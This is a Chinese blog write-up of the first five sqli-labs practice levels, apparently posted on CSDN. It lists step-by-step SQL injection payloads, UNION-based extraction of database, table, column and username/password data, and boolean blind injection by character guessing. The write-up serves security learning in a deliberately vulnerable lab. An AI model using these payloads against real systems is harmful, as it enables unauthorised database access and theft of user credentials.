sqli-labs 前五关

本文探讨了字符型和数字型注入漏洞,通过示例展示了如何利用SQL注入执行SQL命令,包括字段判断、回显位置获取、数据库名称窃取、表名和字段名获取,以及数据泄露。重点介绍了布尔型盲注的破解方法,强调了安全防范措施的重要性。
摘要由CSDN通过智能技术生成

less-1

输入?id=1 ,?id=1 and 1=1 ,?id=1 and 1=2 都显示正常 说明不是数字型注入

输入?id=1' 报错 输入 ?id=1' and '1'='1 显示正常,输入?id=1' and '1'='2 显示错误

说明存在字符型漏洞

输入?id=1' order by 1 --+ //判断字段

经过测试有三个字段

输入?id=-1' union select 1,2,3 --+ 判断回显位置

输入?id=-1' union select 1,2,database() --+ 获取当前数据库名

输入 ?id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security' --+ 获取表名

输入?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'--+ 获取字段名

 

输入?id=-1' union select 1,2,concat_ws(',',id,username,password)from security.users limit 0,1--+

逐条获取数据

less-2

输入?id=1 正常显示

输入?id=1 and 1=1 正常显示

 

 

输入?id=1 and1=2 不显示

证明存在数字型注入

输入?id=1 order by 1 判断字段数  经验证为三个字段

输入?id=-1 union select 1,2,3 判断回显位置

输入 ?id=-1 union select 1,2,database()  获取当前数据库名

输入?id=-1 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security' 获取表名

 

  ?id=-1 union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users' //获取字段名

 

 

?id=-1 union select 1,2,concat_ws(',',id,username,password) from security.users limit 0,1--+

 逐条获取数据

 less-3

输入?id=1 ,?id=1 and 1=1 ,?id=1 and 1=2 都显示正常 说明不是数字型注入

输入?id=1' , ?id=1' --+ 都报错,说明闭合符号不对

经过尝试发现闭合符号为')

 输入?id=1') order by 1--+ 判断字段数,结果为三

?id=-1') union select 1,2,3--+ 判断回显位置

?id=-1') union select 1,2,database()--+ 获取当前数据库名

?id=-1') union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security'--+ 获取表名

 

 ?id=-1') union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'--+ 获取字段名

?id=-1') union select 1,2,concat_ws(',',id,username,password)from security.users limit 0,1--+

逐条获取全部数据

 less-4

闭合符号为")

?id=1") order by 1 --+判断字段数 结果为3

?id=-1") union select 1,2,3--+ 判断回显位置

?id=-1") union select 1,2,database()--+ 获取数据库名

?id=-1") union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security'--+ 获取表名

 

 ?id=-1") union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'--+

获取字段名

 

 ?id=-1") union select 1,2,concat_ws(',',id,username,password)from security.users limit 0,1--+

逐条获取数据

 

 

 less-5

 这是一个闭合字符为 ' 的布尔型盲注 只能通过一个字母一个字母的猜测,从而达到想要的值

?id=1' and length(database())=8--+ //猜测数据库名的长度

?id=1' and substr(database(),1,1)='s'--+ // 逐个猜测数据库名的字母,对了返回you are in..

?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'--+ //逐个猜测数据库表的名字

?id=1' and substr((select column_name from information_schema.columns where table_schema='security' and table_name='users'  limit 0,1),1,1)='i'--+

//逐个字母猜测表 的字段名

?id=1' and substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1)='a' --+//逐个字母 猜测数据的值

这需要有足够的耐心

 

 

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值